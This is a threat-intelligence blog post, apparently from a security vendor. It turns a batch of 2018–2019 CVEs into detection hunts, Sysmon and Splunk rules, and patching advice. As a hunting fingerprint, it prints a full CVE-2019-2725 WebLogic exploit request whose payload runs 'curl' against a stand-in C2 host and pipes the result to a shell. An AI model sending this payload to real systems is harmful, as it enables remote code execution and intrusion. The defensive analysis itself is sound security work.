Threat-intel deep dive: what a week of "old" CVEs still tells us in 2026

Threat intelligence is not a firehose of new CVEs — it is a disciplined reading of which old CVEs keep getting weaponised, against which asset classes, and by which actors. The batch dated 2026-08-13 is a case in point. Every entry is at least six years old; every entry still surfaces in intrusion telemetry from access brokers and commodity ransomware crews. If you defend an enterprise estate, this is the feed to act on — not the zero-day of the week.

This post shows how CelvexGroup's threat-research team translates a day's advisory batch into defensive action: what to hunt, what to patch, what to compensate for, and what the batch reveals about the attacker economy.

The batch at a glance

The eight CVEs in scope span four distinct attack surfaces:

| CVE | CVSS | Surface | Attacker use | |---|---|---|---| | CVE-2018-9206 | 9.8 | Web upload library | Webshell drop, initial access | | CVE-2019-2725 | 9.8 | Oracle WebLogic | RCE, cryptomining, ransomware staging | | CVE-2019-1579 | 8.1 | PAN-OS GlobalProtect | Perimeter RCE, VPN pivot | | CVE-2019-11634 | 9.8 | Citrix Workspace App | Endpoint access-control bypass | | CVE-2019-0752 | 7.5 | Internet Explorer scripting engine | Drive-by RCE, phishing landings | | CVE-2019-1069 | 7.8 | Windows Task Scheduler | Local EoP | | CVE-2019-1130 | 7.8 | Windows AppXSVC | Local EoP via hardlink abuse | | CVE-2019-1385 | 7.8 | Windows AppX Deployment Extensions | Local EoP |

Three shapes emerge immediately: externally reachable RCE (jQuery-File-Upload, WebLogic, PAN-OS), client-side RCE (IE scripting engine, Citrix Workspace), and local privilege escalation (three separate Windows AppX/Scheduler bugs). That is not a coincidence — it is the canonical intrusion chain: land, escalate, pivot.

Why 2018/2019 CVEs still matter in 2026

Two data points anchor the case. First, CISA's Known Exploited Vulnerabilities catalog still lists CVE-2019-2725 and CVE-2019-1579 as actively exploited — patches have been available for more than half a decade. Second, honeypot telemetry across our sensor grid puts CVE-2018-9206 scans in the top decile of daily probes, alongside Log4Shell. Attackers do not retire working exploits; they industrialise them.

The POST fingerprint for CVE-2019-2725 is trivial to recognise and to hunt:

POST /_async/AsyncResponseService HTTP/1.1
Host: <target>
Content-Type: text/xml
SOAPAction:
Content-Length: 819

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:wsa="http://www.w3.org/2005/08/addressing"
  xmlns:asy="http://www.bea.com/async/AsyncResponseService">
  <soapenv:Header>
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java><void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
          <void index="0"><string>/bin/sh</string></void>
          <void index="1"><string>-c</string></void>
          <void index="2"><string>curl hxxp://c2.example/x|sh</string></void>
        </array><void method="start"/></void></java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

Any WAF or reverse-proxy log with AsyncResponseService in the URI and java.lang.ProcessBuilder in the body is unambiguously malicious. Alert, don't rate-limit.

Turning the batch into hunts

Threat intelligence that does not produce a query is decoration. Here is the working set our team pushed to the detection pipeline the same afternoon:

index=web sourcetype=access_combined
  ( uri="*/server/php/*" OR uri="*jQuery-File-Upload*" )
  method IN (POST, PUT)
  status IN (200, 201)
| stats count values(uri) as uris by src_ip, http_user_agent
| where count > 1

That query targets CVE-2018-9206 residue. The jQuery-File-Upload library ships a permissive .htaccess; when the server ignores it (nginx, Apache with AllowOverride None), any user, authenticated or not, can drop a .php file. The signal is not "someone hit the endpoint" — it is "someone hit the endpoint, got a 200, and left a file extension that should not exist."

For CVE-2019-1579, our Suricata ruleset flags the sessid cookie parameter injection pattern in requests to /sslmgr on GlobalProtect portals. For CVE-2019-11634, an endpoint agent rule watches for Citrix Workspace Receiver.exe spawning cmd.exe with a working directory outside %ProgramFiles%\Citrix\ — the classic Incorrect Access Control abuse path.

The three Windows EoP bugs — CVE-2019-1069, CVE-2019-1130, CVE-2019-1385 — all require an existing foothold. Their common denominator is symbolic-link or hard-link abuse against a SYSTEM-privileged service. A single Sysmon Event ID 11 rule covers the family:

<RuleGroup name="AppX and Scheduler linkfarm abuse" groupRelation="or">
  <FileCreate onmatch="include">
    <TargetFilename condition="contains">\AppData\Local\Packages\</TargetFilename>
    <TargetFilename condition="end with">.job</TargetFilename>
    <TargetFilename condition="contains">\Tasks\</TargetFilename>
  </FileCreate>
</RuleGroup>

Pair it with Event ID 2 (file creation time changed) inside %WINDIR%\System32\Tasks\ and you have coverage for the Task Scheduler DACL-flip that CVE-2019-1069 depends on.

Reading the batch as an economy signal

Two of the three RCEs (WebLogic, PAN-OS) target enterprise middleware and perimeter appliances — the same asset class dominating the 2024–2026 initial-access-broker market. The pattern is structural: appliances carry long patch cycles, unclear ownership, and no EDR. Attackers systematically prefer them. When you allocate threat-intel budget, weight it toward the asset classes that keep appearing in the KEV catalog, not toward whatever generated the most social-media noise last week.

The three Windows EoP bugs tell a second story: post-exploitation frameworks keep these primitives because they are quiet. Hard-link abuse against AppXSVC does not reach Defender's cloud-lookup surface; the telemetry resembles ordinary MSIX activity. That is a durable reason to treat local EoP hunting as first-class work, not an afterthought behind "we have EDR."

What good looks like next quarter

If you take one thing from this post, make it this checklist:

  1. Rebaseline your KEV compliance against the actual asset inventory, not the CMDB you wish you had. Every unpatched WebLogic or PAN-OS box in the batch above is a same-day breach in a red-team engagement.
  2. Instrument the ingress path, not just the endpoint. The two highest-CVSS bugs in this batch (CVE-2018-9206, CVE-2019-2725) are visible in HTTP logs before any endpoint agent sees a process.
  3. Codify hunts as tests. A Sigma rule that lives in a wiki is a rule that decays. Push detections into the same CI that runs unit tests, and fail the build when a rule stops matching its recorded positive samples.
  4. Rehearse the chain, not the CVE. Landing on a WebLogic host and escalating via CVE-2019-1069 is the intrusion. Tabletop the whole path.

Threat intelligence that produces a hunt query, a detection test, and a patch ticket beats a 40-page monthly PDF every time. The advisories dated 2026-08-13 are, in that sense, a gift: they name exactly which aged exploits attackers are still running against unprepared networks.

Verifiable security.